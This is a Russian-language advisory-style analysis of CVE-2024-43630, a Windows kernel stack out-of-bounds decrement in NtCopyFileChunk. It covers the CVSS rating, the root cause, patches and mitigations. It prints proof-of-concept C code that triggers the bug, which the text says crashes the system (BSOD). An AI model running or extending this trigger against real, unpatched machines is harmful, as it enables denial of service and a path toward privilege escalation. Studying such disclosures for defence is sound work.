Уязвимость BDU:2024-09611 (CVE-2024-43630) Windows
Уязвимость BDU:2024-09611 (CVE-2024-43630) типа «переполнение буфера на стеке» в компоненте Windows Kernel, которая позволяет локальному злоумышленнику повысить свои привилегии в системе. Уязвимость существует в системном вызове NtCopyFileChunk и связана с некорректной обработкой объекта события, расположенного в стеке памяти. Это редкий пример десинхронизации кода между разными версиями Windows, приводящий к критической уязвимости безопасности.
Анализ уязвимости
Уровень опасности: 7.8 (HIGH)
Вектор атаки: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
-
AV:L (Вектор атаки): Локальный - уязвимость требует локального доступа к системе.
-
AC:L (Сложность атаки): Низкая - не требуется специальных условий эксплуатации.
-
PR:L (Уровень привилегий): Низкие привилегии - атаку может выполнить пользователь с обычными правами.
-
UI:N (Вовлечение пользователя): Не требуется - атака не требует взаимодействия с пользователем.
-
S:U (Влияние на другие системы): Не оказывает - воздействие ограничено одной системой.
-
C:H (Влияние на конфиденциальность): Высокое - возможен доступ к конфиденциальной информации.
-
I:H (Влияние на целостность): Высокое - возможно полное нарушение целостности системы.
-
A:H (Влияние на доступность): Высокое - возможно полное нарушение доступности системы.
Условия эксплуатации
Для успешной эксплуатации уязвимости злоумышленник должен иметь:
-
Локальный доступ к системе с возможностью выполнения кода.
-
Учетную запись с низкими привилегиями (обычного пользователя).
-
Одну из уязвимых версий ОС Windows (Windows 10 21H2-22H2, Windows 11 24H2, Windows Server 2022-2025).
-
Отсутствие обновлений безопасности от ноября 2024 года.
Технический анализ уязвимости
Суть уязвимости
Уязвимость CVE-2024-43630 возникает в функции NtCopyFileChunk Windows Kernel, которая предназначена для копирования данных между файлами. В определенных условиях функция создает объект события (KEVENT) в стеке памяти, но затем ошибочно пытается выполнить операцию ObfDereferenceObject на этом объекте. Поскольку стековый объект не имеет заголовка OBJECT_HEADER (который требуется для управления ссылками), это приводит к записи за пределами стека (OOB write).
Проблема в том, что ObfDereferenceObject ожидает, что переданный ему указатель ссылается на объект ядра с заголовком OBJECT_HEADER, но в данном случае ему передается указатель на объект в стеке, у которого такого заголовка нет.
Почему это приводит к уязвимости
Функция ObfDereferenceObject выполняет операцию декремента счетчика ссылок, обращаясь к смещению -0x30 от переданного указателя (где должен находиться OBJECT_HEADER.PointerCount).
Это означает, что операция декремента выполняется для области памяти, расположенной на 48 байтов раньше объекта StackEvent в стеке. Эта область соответствует другим локальным переменным функции NtCopyFileChunk, включая параметры, контролируемые пользователем.
Анализ кода эксплойта
Рассмотрим код эксплойта для понимания работы вектора атаки с использованием этой уязвимости. Основная цель эксплойта — спровоцировать ситуацию, когда происходит обращение к неверному адресу памяти.
// Создание исходного и целевого файлов
HANDLE SourceFileHandle = NULL;
HANDLE DestinationFileHandle = NULL;
// Открываем файлы с определенными правами доступа
status = NtCreateFile(&SourceFileHandle, FILE_READ_DATA | FILE_WRITE_DATA | SYNCHRONIZE,
&attr, &IoStatusBlock, nullptr, FILE_ATTRIBUTE_NORMAL, NULL,
FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_ALERT, NULL, NULL);
status = NtCreateFile(&DestinationFileHandle, FILE_WRITE_DATA | SYNCHRONIZE,
&attr, &IoStatusBlock, nullptr, FILE_ATTRIBUTE_NORMAL, NULL,
FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, NULL);
// Записываем тестовые данные в исходный файл
char WriteText[] = "test";
status = NtWriteFile(SourceFileHandle, NULL, NULL, NULL, &IoStatusBlock,
WriteText, sizeof(WriteText) - 1, NULL, NULL);
// Устанавливаем контролируемые значения смещения
LARGE_INTEGER SourceOffset = {0};
LARGE_INTEGER DestOffset = {1}; // Это значение будет интерпретировано как PointerCount
// Вызываем уязвимую функцию с неверным handle события (1)
status = NtCopyFileChunk(SourceFileHandle, DestinationFileHandle, (HANDLE)1,
&IoStatusBlock, sizeof(WriteText) - 1, &SourceOffset,
&DestOffset, NULL, NULL, 0);
Ключевые моменты эксплойта:
-
Создаются два файла, причем целевой файл открывается в синхронном режиме (
FILE_SYNCHRONICAL_IO_NONALERT), что активирует уязвимый путь кода. -
Параметр
DestOffsetустанавливается в 1, что важно для управления значением счетчика ссылок. -
В качестве handle события передается значение 1 (неверный handle), что приводит к ошибке и переходу к очистке ресурсов.
-
При очистке происходит вызов
ObfDereferenceObjectс указателем на стековое событие.
В результате выполняется операция декремента для значения, расположенного по адресу [StackEvent-0x30]. В структуре стека функции NtCopyFileChunk это соответствует позиции параметра DestOffset, значение которого контролируется пользователем.
Ограничения эксплуатации
Хотя уязвимость существует, ее практическая эксплуатация затруднена из-за нескольких факторов:
-
После операции декремента происходит проверка значения счетчика handles (
HandleCount), которое должно быть нулевым. -
Для успешной эксплуатации необходимо обойти дополнительные проверки и контролировать структуру стека.
-
В текущей реализации эксплойт вызывает лишь крах системы (BSOD), а не повышение привилегий.
Возможные последствия успешной эксплуатации
В случае успешной эксплуатации уязвимости злоумышленник может:
-
Повысить свои привилегии до уровня SYSTEM.
-
Обойти механизмы безопасности и системы контроля целостности.
-
Получить полный контроль над системой с возможностью выполнения произвольного кода.
-
Устанавливать и запускать вредоносные программы с повышенними привилегиями.
-
Получить доступ к конфиденциальным данным, включая учетные данные других пользователей.
Методы защиты
1. Установка официальных патчей
Основной метод защиты — установка обновлений безопасности от Microsoft, выпущенных 12 ноября 2024 года:
- Windows 10 - KB5046613
- Windows 11 - KB5046617 и KB5046696
- Windows Server 2022 - KB5046618, KB5046616 и KB5046698
- Windows Server 2025 - KB5046617 и KB5046696
2. Включение механизмов защиты памяти
Активация дополнительных механизмов безопасности может затруднить эксплуатацию уязвимости:
Control Flow Guard (CFG)
CFG предотвращает выполнение кода из непредназначенных для этого областей памяти.
Address Space Layout Randomization (ASLR)
ASLR усложняет эксплуатацию уязвимости CVE-2024-43630, рандомизируя расположение критических структур в памяти и делая невозможным точное предсказание злоумышленником адреса [0x30], что в сочетании с другими защитными механизмами значительно повышает общий уровень безопасности системы.